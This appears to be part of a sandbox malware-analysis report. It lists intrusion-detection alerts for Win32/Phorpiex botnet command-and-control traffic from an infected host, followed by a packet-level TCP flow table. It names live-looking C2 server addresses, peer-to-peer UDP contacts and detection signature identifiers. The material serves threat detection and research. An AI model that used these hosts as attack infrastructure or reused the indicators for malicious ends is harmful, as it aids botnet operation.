2024-10-26T07:26:36.856045+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49814	185.215.113.66	80	TCP
2024-10-26T07:26:36.856045+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49814	185.215.113.66	80	TCP
2024-10-26T07:26:38.418676+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	85.173.115.180	40500	UDP
2024-10-26T07:26:38.805924+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49826	185.215.113.66	80	TCP
2024-10-26T07:26:38.805924+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49826	185.215.113.66	80	TCP
2024-10-26T07:26:39.130562+0200	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.6	49826	TCP
2024-10-26T07:26:43.408274+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	90.156.163.121	40500	UDP
2024-10-26T07:26:44.437846+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49856	185.215.113.66	80	TCP
2024-10-26T07:26:44.437846+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49856	185.215.113.66	80	TCP
2024-10-26T07:26:46.430096+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:46.430096+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:48.423353+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	62.209.135.143	40500	UDP
2024-10-26T07:26:53.054765+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:53.054765+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:53.488632+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	213.230.97.241	40500	UDP
2024-10-26T07:26:54.995499+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:26:54.995499+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:26:58.485911+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	93.188.83.238	40500	UDP
2024-10-26T07:27:01.531075+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:27:01.531075+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:27:03.546764+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:03.546764+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:08.517327+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	80.191.218.209	40500	UDP
2024-10-26T07:27:09.917105+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:09.917105+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:09.950937+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49991	185.215.113.84	80	TCP
2024-10-26T07:27:11.870147+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49994	185.215.113.66	80	TCP
2024-10-26T07:27:11.870147+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49994	185.215.113.66	80	TCP
2024-10-26T07:27:13.518977+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	85.233.153.109	40500	UDP
2024-10-26T07:27:18.542858+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	188.212.80.105	40500	UDP
2024-10-26T07:27:18.566079+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49997	91.202.233.141	80	TCP
2024-10-26T07:27:20.278754+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:20.278754+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:22.645557+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:22.645557+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:23.623498+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	90.156.160.66	40500	UDP
2024-10-26T07:27:25.002737+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:25.002737+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:27.434450+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:27.434450+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:29.749284+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:29.749284+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:33.626705+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	2.181.31.167	40500	UDP
2024-10-26T07:27:33.848197+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50000	185.215.113.66	80	TCP
2024-10-26T07:27:33.848197+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50000	185.215.113.66	80	TCP
2024-10-26T07:27:36.812072+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50001	185.215.113.66	80	TCP
2024-10-26T07:27:36.812072+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50001	185.215.113.66	80	TCP
2024-10-26T07:27:38.791276+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	77.240.41.3	40500	UDP
2024-10-26T07:27:40.164023+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50004	185.215.113.66	80	TCP
2024-10-26T07:27:40.164023+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50004	185.215.113.66	80	TCP
2024-10-26T07:27:43.131743+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50006	185.215.113.66	80	TCP
2024-10-26T07:27:43.131743+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50006	185.215.113.66	80	TCP
2024-10-26T07:27:43.783471+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	151.243.242.97	40500	UDP
2024-10-26T07:27:46.111661+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50007	185.215.113.66	80	TCP
2024-10-26T07:27:46.111661+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50007	185.215.113.66	80	TCP
2024-10-26T07:27:48.799927+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	178.91.91.225	40500	UDP
2024-10-26T07:27:50.560944+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50010	91.202.233.141	80	TCP
2024-10-26T07:27:50.560944+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50010	91.202.233.141	80	TCP
2024-10-26T07:27:53.559330+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50012	91.202.233.141	80	TCP
2024-10-26T07:27:53.559330+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50012	91.202.233.141	80	TCP
2024-10-26T07:27:53.827913+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	91.246.92.22	40500	UDP
2024-10-26T07:27:56.509547+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50013	91.202.233.141	80	TCP
2024-10-26T07:27:56.509547+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50013	91.202.233.141	80	TCP
2024-10-26T07:27:58.869481+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	78.39.234.9	40500	UDP
2024-10-26T07:27:59.587464+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50015	91.202.233.141	80	TCP
2024-10-26T07:27:59.587464+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50015	91.202.233.141	80	TCP
2024-10-26T07:28:02.679855+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50016	91.202.233.141	80	TCP
2024-10-26T07:28:02.679855+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50016	91.202.233.141	80	TCP
2024-10-26T07:28:06.897629+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50018	185.215.113.66	80	TCP
2024-10-26T07:28:06.897629+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50018	185.215.113.66	80	TCP
2024-10-26T07:28:08.907762+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	90.156.163.55	40500	UDP
2024-10-26T07:28:09.853866+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50020	185.215.113.66	80	TCP
2024-10-26T07:28:09.853866+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50020	185.215.113.66	80	TCP
2024-10-26T07:28:12.788861+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50021	185.215.113.66	80	TCP
2024-10-26T07:28:12.788861+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50021	185.215.113.66	80	TCP
2024-10-26T07:28:13.935566+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	94.158.52.97	40500	UDP
2024-10-26T07:28:15.799301+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50023	185.215.113.66	80	TCP
2024-10-26T07:28:15.799301+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50023	185.215.113.66	80	TCP
2024-10-26T07:28:18.924523+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	46.100.164.239	40500	UDP
2024-10-26T07:28:19.210121+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50025	185.215.113.66	80	TCP
2024-10-26T07:28:19.210121+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50025	185.215.113.66	80	TCP
2024-10-26T07:28:23.377369+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	50027	91.202.233.141	80	TCP
2024-10-26T07:28:23.377369+0200	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.6	50027	91.202.233.141	80	TCP
2024-10-26T07:28:23.940145+0200	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.6	58415	213.206.45.227	40500	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 07:26:25.904963017 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:25.910371065 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:25.910464048 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:25.910675049 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:25.916104078 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.830950975 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831015110 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831069946 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831103086 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831126928 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.831127882 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.831139088 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831171989 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831182957 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.831206083 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831234932 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831262112 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.831262112 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.831267118 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831304073 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.831327915 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.831327915 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.831351995 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.836692095 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.836729050 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.836811066 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.836818933 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.836827993 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.836901903 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.983551025 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.983691931 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.983697891 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.983730078 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.983751059 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.983764887 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.983799934 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.983807087 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.983807087 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.983833075 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.983860970 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.983869076 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.983906984 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.983923912 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.984554052 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.984589100 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.984622955 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.984636068 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.984636068 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.984657049 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.984678030 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.984690905 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.984707117 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.984730005 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.985290051 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.985342026 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.985344887 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.985375881 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.985409021 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.985418081 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.985418081 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.985443115 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.985466957 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.985510111 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.986052036 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.986114979 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.986159086 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.986159086 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.986165047 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.986198902 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.986239910 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.986239910 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.986249924 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.986335993 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.987010002 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.987071037 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.989320040 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.989382982 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:26.989394903 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:26.989468098 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136389017 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136445999 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136482000 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136533022 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136569023 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136598110 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136598110 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136620998 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136656046 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136656046 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136660099 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136693954 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136737108 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136737108 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136775017 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136809111 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136841059 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.136854887 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136854887 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.136974096 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137007952 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137073040 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137108088 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137115955 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137115955 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137140989 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137175083 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137183905 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137183905 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137207985 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137248039 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137248039 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137475967 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137526035 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137561083 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137593031 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137628078 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137841940 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137859106 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137892962 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137904882 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137928009 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137959957 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.137969017 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137969017 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.137995005 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138008118 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138040066 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138081074 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138081074 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138293028 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138324976 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138365984 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138365984 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138375998 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138408899 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138447046 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138449907 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138449907 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138499975 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138515949 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138534069 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138549089 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138569117 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138582945 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138605118 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138633966 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138639927 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138675928 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.138684988 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138684988 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.138756990 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:27.139164925 CEST	80	49763	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:27.139341116 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:28.168306112 CEST	49763	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:35.915035009 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:35.920408010 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:35.920480967 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:35.922713995 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:35.928124905 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.855973959 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.855986118 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.855998993 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856045008 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.856091976 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.856136084 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856151104 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856158972 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856161118 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856164932 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856177092 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856189966 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.856204987 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.856232882 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.858043909 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.858103991 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.861507893 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.861521006 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.861531973 CEST	80	49814	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:36.861576080 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.861604929 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:36.861660957 CEST	49814	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:37.859899044 CEST	49826	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:26:37.869231939 CEST	80	49826	185.215.113.66	192.168.2.6
Oct 26, 2024 07:26:37.869323015 CEST	49826	80	192.168.2.6	185.215.113.66
